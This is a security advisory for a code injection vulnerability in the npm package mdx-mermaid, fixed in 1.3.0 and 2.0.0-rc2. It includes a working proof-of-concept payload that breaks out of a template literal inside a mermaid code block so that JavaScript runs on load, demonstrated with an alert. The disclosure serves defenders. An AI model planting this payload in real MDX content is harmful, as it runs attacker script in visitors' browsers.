GHSA-rvgm-35jw-q628 Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

• npm mdx-mermaid: < 1.3.0 → fixed in 1.3.0 • npm mdx-mermaid: >= 2.0.0-rc1, < 2.0.0-rc2 → fixed in 2.0.0-rc2

Impact Arbitary javascript injection Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs ``` ` + (function () { // Put Javascript code here return '' }()) + ` ``` The block below shows a valid mermaid code block ````md ```mermaid graph TD; A-->B; A-->C; B-->D; C-->D; ``` ```` The same block but with the exploit added ````md ```mermaid ` + (function () { alert('vulnerable') return '' }()) + ` graph TD; A-->B; A-->C; B-->D; C-->D; ``` ```` Patches 1.3.0 and 2.0.0-rc2 Workarounds None known